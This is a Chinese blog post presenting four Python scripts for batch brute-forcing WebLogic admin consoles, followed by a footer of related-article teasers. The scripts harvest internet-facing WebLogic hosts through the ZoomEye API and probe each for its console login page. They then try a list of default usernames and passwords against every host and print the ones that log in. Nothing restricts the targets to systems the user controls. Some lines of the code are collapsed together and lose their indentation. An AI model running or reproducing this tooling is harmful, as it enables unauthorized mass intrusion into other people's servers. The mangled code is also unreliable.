前言:


整理笔记的时候,发现了weblogic的攻击方法。心里打着算盘看看怎么写

个批量的弱口令爆破脚本。得出了以下思路

思路:

1.利用钟馗之眼采集weblogic的网站,将IP写入到txt

2.添加后台路径,判断是否能成功连接,并且没有过滤表里面的错误。写入到txt

3.转换路径,将后台路径转换为表单请求的路径写入到txt

4.判断是账号和密码是否成功

详细思路请参考:https://www.jianshu.com/p/e97b109ace40 (同时也是一份攻击weblogic服务的好文章)

代码:

weblogicpass.py

import requests

def zoomeye():
sjian=open('save.txt','w')
sjian.close() data={"username":"钟馗之眼的登录邮箱","password":"钟馗之眼的登录密码"}
url='https://api.zoomeye.org/user/login'
login=requests.post(url=url,json=data)
access_token=login.json()['access_token'] logheaders={'Authorization':'JWT'+' '+access_token}
for x in range(10):
print('[+]page is {}'.format(x))
url2s='https://api.zoomeye.org/host/search?query=app:weblogic&page={}'.format(x)
rest2=requests.get(url=url2s,headers=logheaders)
vd=rest2.json()['matches'][0:]
for q in vd:
sj='IP:',q['ip'],'Port:',q['portinfo']['port'],'App:',q['portinfo']['app']
print(sj)
print(sj,file=open('save.txt','a'))
zoomeye()

weblogicjiexi.py

import requests
import re
def jx():
xj=open('save2.txt','w')
xj.close() error=['','Not Found','不存在','']
ok=[]
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
kew = open('save.txt', 'r')
for p in kew.readlines():
we = "".join(p.split('\n'))
pow = re.findall('(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)',we)
for i in pow:
pd = '{}'.format(i).replace('(', '').replace(')', '').replace("'", '').replace(',', '.').replace(' ', '')
try:
rsc=requests.get(url='http://{}/console/login/LoginForm.jsp'.format(pd),headers=headers,timeout=1.1)
for e in error:
if rsc.status_code==200 and rsc.text not in e:
ok.append(rsc.url) except: pass id = list(set(ok))
for p in id:
lk=re.findall('.*/console/login/LoginForm.jsp',p)
for i in lk:
print('[+]ok url:',i+'')
print(i+'',file=open('save2.txt','a')) jx()

weblogiczhuanhuan.py

import os
import re rl=open('save3.txt','w')
rl.close() if os.path.exists('save2.txt'):
print('[+]ok save2.txt !')
else:
print('[-]Not found save2.txt')
exit() yw=open('save2.txt','r')
for e in yw.readlines():
w="".join(e.split('\n'))
yd=re.sub('/console/login/LoginForm.jsp','/console/j_security_check',w)
print(yd)
print(yd,file=open('save3.txt','a'))

weblogicbaopo.py

import requests
import threading def main(ip):
datas={}
listd=['weblogic','weblogic','weblogic','welcomel','system','password','admin','security','mary','password','joe','password','wlcsystem','wlcsystem','wlpisystem','wlpisystem','weblogic','admin','weblogic','','admin','']
url='{}'.format(ip)
headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
for user in listd:
for passwd in listd:
data='j_username={}&j_password={}&j_character_encoding=UTF-8'.format(user,passwd)
for j in data.split('&'):
key,value=j.split('=',1)
datas[key]=value
try:
request=requests.post(url=url,headers=headers,data=datas,allow_redirects=False)
if request.status_code==302 and 'console' in request.headers['Location'] and 'LoginForm.jsp' not in request.headers['Location']:
print('[+]url:{}'.format(request.url))
print('[+]username:{}'.format(user))
print('[+]password:{}'.format(passwd))
else:
print('[-]url:{}'.format(request.url))
print('[-]Error username:{}'.format(user))
print('[-]Error password:{}'.format(passwd))
except:
pass if __name__ == '__main__':
we=open('save3.txt','r')
for w in we.readlines():
x="".join(w.split('\n'))
main(x)

测试

正在爆破某个IP的截图:

python写批量weblogic爆破脚本的更多相关文章

  1. Python Telnet弱口令爆破脚本及遇到的错误与问题

    写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...

  2. python写一个邮箱伪造脚本

    前言: 原本打算学php MVC的思路然后写一个项目.但是贼恶心, 写不出来.然后就还是用python写了个邮箱伪造. 0x01 第一步先去搜狐注册一个邮箱 然后,点开设置,开启SMTP服务. 当然你 ...

  3. python写的自动签到脚本。

    等以后有时间补上. 附上代码: #! /usr/bin/env python # coding:utf-8 #-----------------------------------------学号和密 ...

  4. python+paramiko库+svn写的自动化部署脚本

    第一篇博文 直接开门见山的说了. 这是件什么事?:每次部署都是复制本地的文件粘贴到服务器端,因为路径复杂,所以费时且手工容易出漏洞. 一直在想有什么办法可以解决这种,因为以前在微软的一个牛人同事做过一 ...

  5. python 写的http后台弱口令爆破工具

    今天来弄一个后台破解的Python小程序,哈哈,直接上代码吧,都有注释~~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...

  6. Python操作Excel_随机点菜脚本

     背景:     中午快餐,菜单吃了个遍,天天纠结于不知道点啥菜.      想起读书考试时,丢纸团选答案,于是用python写个随机点菜脚本玩玩. 功能:      菜单为Excel,一个Sheet ...

  7. Python写网络后台脚本

    Python写网络后台脚本. 首先安装Python3.6.5,在centos中自带的Python是2.6版本的,现在早就出现了3.6版本了况且2和3 之间的差距还是比较大的,所以我选择更新一下Pyth ...

  8. 「懒惰的美德」我用 python 写了个自动生成给文档生成索引的脚本

    我用 python 写了一个自动生成索引的脚本 简介:为了刷算法题,建了一个 GitHub仓库:PiperLiu / ACMOI_Journey,记录自己的刷题轨迹,并总结一下方法.心得.想到一个需求 ...

  9. Python 写了一个批量生成文件夹和批量重命名的工具

    Python 写了一个批量生成文件夹和批量重命名的工具 目录 Python 写了一个批量生成文件夹和批量重命名的工具 演示 功能 1. 可以读取excel内容,使用excel单元格内容进行新建文件夹, ...

随机推荐

  1. 【图像处理】Haar-like特征

    特征提取的原理.代码等: 如果是白黑白,是减去一个黑的还是2个黑的,网上有不同的说法:应该需要看原论文了. 论文原文 The sum of the pixels which lie within th ...

  2. pymysql模块操作数据库

    pymysql模块是python操作数据库的一个模块   connect()创建数据库链接,参数是连接数据库需要的连接参数 使用方式: 模块名称.connect() 参数: host=数据库ip po ...

  3. 常用sql语法初级

    博主在工作中,常常需要使用sql语句来进行查询,总结发现,灵活使用这几个要点,就可以应付大部分简单情况. 一.连接:根据两个或多个表中的列之间的关系,从这些表中查询数据. JOIN或INNER JOI ...

  4. dgraph cluster docker-compose 安装

    dgraph 是一款基于golang 的图数据库,使用了graphql+ 的查询方式 集群的安装官方也提供了对应的模版,比较简单 docker-compose 文件 我做了一些简单修改(数据存储的问题 ...

  5. nodejs express 学习

    nodejs的大名好多人应该是听过的,而作为nodejs web 开发的框架express 大家也应该比较熟悉. 记录一下关于express API 的文档: express() 创建express ...

  6. Python学习系列(一)(基础入门)

    Python入门 本系列为Python学习相关笔记整理所得,IT人,多学无害,多多探索,激发学习兴趣,开拓思维,不求高大上,只求懂点皮毛,作为知识储备,不至于落后太远.如果兴趣学习者,推荐一个基础视频 ...

  7. Linux elasticsearch 安装 遇到的问题

    备注:我的 Linux 测试机  是2G 内存的 ,估计内存小于 我的内存肯定会出这个问题 .(安装的最新版6.3.2) 1.  下载文件  解压 2 .试着 运行 bin 下面的 elasticse ...

  8. debian下配置keepalived ha

    抄袭自http://blog.51yip.com/server/1417.html,做了一些修改 可以参考http://blog.linuxphp.org/archives/1615/ 备注:NAT模 ...

  9. typescript-dva脚手架

    2019有太多的东西想尝试,ts,GraphQL,SSR,docker,python,electron,小程序云后台,vue3等等,一个个来吧,用两天了解了下typescript,大概做了个webpa ...

  10. Gitlab 项目上传

    一,登陆gitab,新建reject Repository name: 仓库名称 Description(可选): 仓库描述介绍 Public, Private : 仓库权限(公开共享,私有或指定合作 ...